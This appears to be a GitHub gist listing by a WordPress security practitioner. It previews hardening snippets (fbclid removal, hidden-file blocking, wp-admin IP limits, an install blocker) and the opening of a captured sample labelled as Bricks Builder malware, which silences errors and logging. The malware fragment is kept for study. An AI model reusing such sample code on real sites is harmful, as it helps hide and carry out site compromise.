Skip to content

Instantly share code, notes, and snippets.

View lynt-smitka's full-sized avatar

Vladimír Smitka lynt-smitka

View GitHub Profile
@lynt-smitka
lynt-smitka / lynt-admin.php
Last active April 10, 2024 11:07
WordPress - login as admin user
<?php
/**
* Plugin Name: Lynt Admin
* Author: Vladimir Smitka
* Author URI: https://lynt.cz/
* License: GNU General Public License v3 or later
* License URI: http://www.gnu.org/licenses/gpl-3.0.html
*/
defined( 'ABSPATH' ) or die( 'nothing here' );
@lynt-smitka
lynt-smitka / fbclid-nginx.conf
Last active March 13, 2024 18:56
Remove fbclid argument from the URL in Nginx
http {
...
# redirect map in http block - remove fbclid argument from the end
map $request_uri $redirect_fbclid {
"~^(.*?)([?&]fbclid=[a-zA-Z0-9_-]+)$" $1;
}
...
@lynt-smitka
lynt-smitka / malware1.php
Last active March 7, 2024 16:01
Bircks Builder <1.9.6.1 Malware
<?php
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
function genstr($length = 10)
{
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
@lynt-smitka
lynt-smitka / .htaccess
Last active January 27, 2024 05:56
Block hidden files except .well-known - Apache .htaccess + Nginx
RewriteRule "(^|/)\.(?!well-known\/)" - [F]
@lynt-smitka
lynt-smitka / .htaccess
Created July 11, 2022 08:34
.htaccess to the "/wp-admin" directory to limit IP address
<RequireAny>
Require ip your.ip.address.here
</RequireAny>
<Files admin-ajax.php>
Require all granted
</Files>
<Files admin-post.php>
Require all granted
<?php
/**
* Plugin Name: Lynt Install Blocker
* Author: Vladimir Smitka
* Author URI: https://lynt.cz/
* License: GNU General Public License v3 or later
* License URI: http://www.gnu.org/licenses/gpl-3.0.html
*/
if ( defined( 'WP_INSTALLING' ) && WP_INSTALLING && !is_blog_installed() ) {
@lynt-smitka
lynt-smitka / fbclid.htaccess
Last active November 6, 2023 13:10
Remove fbclid argument from the URL in .htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*?)(&?fbclid=[a-zA-Z0-9_-]+)$
RewriteRule ^(.*)$ /$1?%1 [L,NE,R=301]
</IfModule>
import board
import struct
import time
import busio
import sdcardio
import storage
display = board.DISPLAY
display.auto_refresh = False
#Do not copy&paste whole file, find only interesting parts!
#HTTP authentification
AuthType Basic
AuthName "Log in"
AuthUserFile /path/to/.htpasswd
Require valid-user
#Security headers